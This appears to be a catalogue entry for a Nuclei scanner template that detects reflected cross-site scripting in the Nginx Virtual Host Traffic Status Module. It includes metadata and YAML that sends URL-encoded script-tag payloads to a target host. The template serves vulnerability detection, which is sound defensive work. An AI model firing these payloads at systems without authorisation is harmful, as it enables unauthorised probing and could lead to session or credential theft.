nginx-module-vts-xss: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting
- Template: nginx-module-vts-xss
- Name: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting
- Description: Nginx Virtual Host Traffic Status Module contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
- Severity: high
- Authors: madrobot, j4vaovo
- Tags: nginx, xss, status, vuln
- References: https://github.com/vozlt/nginx-module-vts
- Max requests: 2
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/nginx-module-vts-xss.yaml
- Digest: 490a00463044022044af834dd522877f6ee60b67f6695711ddc5df9c76f239ab4ebd59c19809b30a022003e258d6cf64f5ac6b502aa3c98f2dc87ae30a5b181272e2b5013233e19d8622
- Created at: 2020-07-31T20:49:13Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 2307
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/nginx-module-vts-xss.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Cwe: CWE-80
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Not known: epss score, epss percentile, cpe
Metadata
- Max-request: 2
Labels
- Name: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting
- Impact: Attackers can execute arbitrary script in victim's browser, potentially stealing cookie-based authentication credentials and launching further attacks.
- Remediation: Update to the latest version of Nginx Virtual Host Traffic Status Module.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Victim must load or interact with a crafted page
- Labels source: securitycontext
- Not known: from cve
```yaml
id: nginx-module-vts-xss
info:
name: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting
author: madrobot,j4vaovo
severity: high
description: Nginx Virtual Host Traffic Status Module contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
reference:
- https://github.com/vozlt/nginx-module-vts
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-80
metadata:
max-request: 2
tags: nginx,xss,status,vuln
http:
- raw:
- |
GET /_404_%3E%3Cscript%3Ealert(1337)%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /status%3E%3Cscript%3Ealert(7331)%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code_2 == 200"
- "contains(header_2, 'text/html')"
- "contains(tolower(body_2), '<script>alert(7331)</script>')"
condition: and
- type: dsl
dsl:
- "!contains(tolower(body_1), '<script>alert(1337)</script>')"
condition: and
digest: 490a00463044022044af834dd522877f6ee60b67f6695711ddc5df9c76f239ab4ebd59c19809b30a022003e258d6cf64f5ac6b502aa3c98f2dc87ae30a5b181272e2b5013233e19d8622:922c64590222798bb761d5b6d8e72950
```